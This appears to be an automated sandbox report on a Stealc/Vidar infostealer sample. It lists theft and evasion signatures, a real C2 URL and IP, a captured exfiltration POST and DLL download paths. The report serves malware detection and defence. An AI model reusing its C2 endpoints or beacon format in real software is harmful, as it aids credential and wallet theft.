Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1541814
MD5:	4a106f4006ac892e40b6772195f546db
SHA1:	7129a90f87de4291d8bac9e18cd14917309a9a76
SHA256:	2ad858093aa08d48957ea9a225c88e1dd2eba8eb062c491c0fd85bbbd998faf9
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1892 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 4A106F4006AC892E40B6772195F546DB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2365598349.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2092148553.00000000051A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1892	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 1892	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1892	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1892	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.7a0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T07:28:07.854037+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T07:28:07.847368+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T07:28:08.131197+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T07:28:09.291364+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T07:28:08.137992+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T07:28:07.562760+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T07:28:09.823035+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T07:28:18.067240+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T07:28:20.127571+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T07:28:21.016088+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T07:28:21.798850+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T07:28:23.471205+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T07:28:24.928380+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCGHCGHCBFHJJKKJEHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 30 37 45 42 45 32 39 33 36 35 33 30 30 31 36 37 35 32 39 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------JDGCGHCGHCBFHJJKKJEHContent-Disposition: form-data; name="hwid"0907EBE293653001675293------JDGCGHCGHCBFHJJKKJEHContent-Disposition: form-data; name="build"doma------JDGCGHCGHCBFHJJKKJEH--

Source: file.exe, 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2365598349.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll6
Source: file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dllx
Source: file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllK
Source: file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllO
Source: file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllJ
Source: file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dllS
Source: file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.2365598349.0000000001422000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php914V
Source: file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpV
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpX
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdll
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdowsApps
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpf
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpla
Source: file.exe, 00000000.00000002.2365598349.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpr
Source: file.exe, 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phption:
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: file.exe, 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: file.exe, 00000000.00000002.2365598349.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37i
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2379642026.000000001DA15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2393188892.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: GIJKKKFC.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386241098.0000000029AD1000.00000004.00000020.00020000.00000000.sdmp, FHCGHJDBFIIDGDHIJDBG.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386241098.0000000029AD1000.00000004.00000020.00020000.00000000.sdmp, FHCGHJDBFIIDGDHIJDBG.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: GIJKKKFC.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, GIJKKKFC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, GIJKKKFC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386241098.0000000029AD1000.00000004.00000020.00020000.00000000.sdmp, FHCGHJDBFIIDGDHIJDBG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386241098.0000000029AD1000.00000004.00000020.00020000.00000000.sdmp, FHCGHJDBFIIDGDHIJDBG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, GIJKKKFC.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: GIJKKKFC.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, GIJKKKFC.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: FHCGHJDBFIIDGDHIJDBG.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: DAFHIDGIJKJKECBGDBGHDBKFHI.0.dr	String found in binary or memory: https://support.mozilla.org
Source: DAFHIDGIJKJKECBGDBGHDBKFHI.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DAFHIDGIJKJKECBGDBGHDBKFHI.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386241098.0000000029AD1000.00000004.00000020.00020000.00000000.sdmp, FHCGHJDBFIIDGDHIJDBG.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386241098.0000000029AD1000.00000004.00000020.00020000.00000000.sdmp, FHCGHJDBFIIDGDHIJDBG.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, GIJKKKFC.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: GIJKKKFC.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: DAFHIDGIJKJKECBGDBGHDBKFHI.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: DAFHIDGIJKJKECBGDBGHDBKFHI.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: DAFHIDGIJKJKECBGDBGHDBKFHI.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2304058220.000000002FCA6000.00000004.00000020.00020000.00000000.sdmp, DAFHIDGIJKJKECBGDBGHDBKFHI.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: DAFHIDGIJKJKECBGDBGHDBKFHI.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2304058220.000000002FCA6000.00000004.00000020.00020000.00000000.sdmp, DAFHIDGIJKJKECBGDBGHDBKFHI.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2304058220.000000002FCA6000.00000004.00000020.00020000.00000000.sdmp, DAFHIDGIJKJKECBGDBGHDBKFHI.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,		0_2_6C6BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB8C0 rand_s,NtQueryVirtualMemory,		0_2_6C6BB8C0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD	0_2_00B698AD
